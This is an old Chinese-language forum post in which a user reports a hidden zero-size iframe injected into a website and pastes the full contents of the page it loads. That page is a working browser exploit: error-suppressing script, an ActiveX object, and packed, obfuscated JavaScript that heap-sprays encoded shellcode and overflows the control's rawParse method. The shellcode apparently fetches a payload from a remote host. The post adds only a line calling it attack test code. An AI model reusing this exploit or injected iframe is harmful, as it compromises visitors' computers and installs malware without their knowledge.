好像是的
刚才去那个网看过了
问题在这句上- <iframe src="http://www.puma166.com/bfyy.htm" width="0" height="0" frameborder="0"></iframe>
然后打开那个bfyy.htm
内容如下：- <!--
- function killErrors() {
- return true;
- }
- window.onerror = killErrors;
- // -->
- test
- <object classid="clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB"
- id='target'>
- eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('10 Z=Y("%b"+"%b"+"%11%0%12%15%14%0%13%X"+"%W%Q%P%5%O%N%R%S"+"%V%U%9%T%16%17%1k%1j"+"%9%1i%1l%1m%1p%1o%1n%d"+"%1h%1g%1a%19%8%18%1b%1c"+"%1f%M%1d%8%1q%E%n%m"+"%l%o%p%s%4%k%q%t"+"%h%0%f%e%j%1%g%5"+"%i%r%L%0%4%G%F%u"+"%H%I%K%J%D%C%x%w"+"%a%6%v%y%z%6%B%a"+"%A%1e%2L%d%2l%2k%1r%2j"+"%2m%2n%2q%2p%2o%2i%1%2h"+"%2b%2a%1%29%28%2c%2d%2g"+"%2f%2e%2r%2s%2F%2E%2D%2G"+"%2H%2K%2J%2I%2C%2B%2v%2u"+"%2t%2w%2x%2A%2z%2y%27%26"+"%1F%1E%1D%1G%7%2%1H%1K"+"%c%1J%1I%1C%1B%1v%3%1u"+"%1t%1s%1w%1x%7%2%1A%1z"+"%1y%1L%1M%20%1Z%1Y%3%21"+"%22%25%2%24%23%1X%1W%1Q%1P%1O%1N%1R%1S%1V%1U%1T%c%0");',62,172,'u0000|u57ff|u0041|u6461|uc683|ud88b|u4343|u7972|u468b|ufb03|u4320|u9090|u6578|u04c7|u0dc6|u8300|u5afc|u6ae8|u016a|u5652|u8b0e|u008b|uc103|u02e1|uc303|ufa8b|u6ad0|ue859|uf78b|u5904|u803e|u6643|u646d|u6303|u03c7|u632f|u206a|u03c6|uc7dc|u8b40|uc1c3|u8046|u5613|ufa75|u3680|uec83|u5e80|u0057|u66c9|u8b3c|u738b|u0840|u8bad|u1e74|u0378|u4e8b|u207e|u8bf3|u1c70|u8b0c|unescape|shellcode|var|uefe9|u5a00|u408b|u0030|ua164|u3314|u56ed|u0324|ucd8b|u5e5f|ud1c3|u03e1|u088b|uff53|u33c1|u59e9|ue245|uf28b|u3f8b|u5157|u0e6a|uf359|u835f|u5908|u74a6|u031c|uc765|u4c64|u616f|u4c00|u6572|u6269|u6172|u6e6f|u6d6c|u7275|u6854|u7469|u6365|u7269|u446d|u6f74|u6957|u7845|u0063|u456e|u5500|u4c52|u3161|u6D75|u702E|u7777|u3636|u632E|u652E|u312F|u6D6F|u772F|u2F3A|u6f6c|u6e77|u6f44|u6f54|u6946|u7074|u7468|u656c|u6574|u7379|u2451|u68f0|u5300|u6adc|u0040|uff58|uc085|uacc0|u33d0|u8bfc|u5056|u0344|u2e61|u5c03|u7804|u0065|u5350|u50c0|u3300|uf975|u5251|u6441|u636f|u7250|u7264|u7365|u5374|u6547|u0073|u7465|u47ff|u595a|ud2ff|u5356|ue2ab|u33ee|uffff|u0ce8|uc3c0|uec57'.split('|'),0,{}))
- eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c]||c.toString(a);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('7 3=p("%f%f");7 e=o;7 6=e+a.5;9(3.5<6)3+=3;c=3.d(0,6);4=3.d(0,3.5-6);9(4.5+6<n)4=4+4+c;b=m l();k(8=0;8<j;8++)b[8]=4+a;7 2=\'\';9(2.5<i)2+="\\1\\1\\1\\1";2+="\\1";2+="\\1";2+="\\1";2+="\\1\\1\\1\\1";2+="\\1\\1\\1\\1";h.g(2);',26,26,'|x0a|buffer|bigblock|block|length|slackspace|var|x|while|shellcode|memory|fillblock|substring|headersize|u9090|rawParse|target|4057|300|for|Array|new|0x40000|20|unescape'.split('|'),0,{}))
- test
- <!--
- function killErrors() {
- return true;
- }
- window.onerror = killErrors;
- // -->
是一个攻击测试代码
[ 本帖最后由 ALEXBLAIR 于 2007-9-17 23:25 编辑 ] |
[复制链接]
发表于 2007-9-17 22:29:39
发表于 2007-9-17 22:45:15
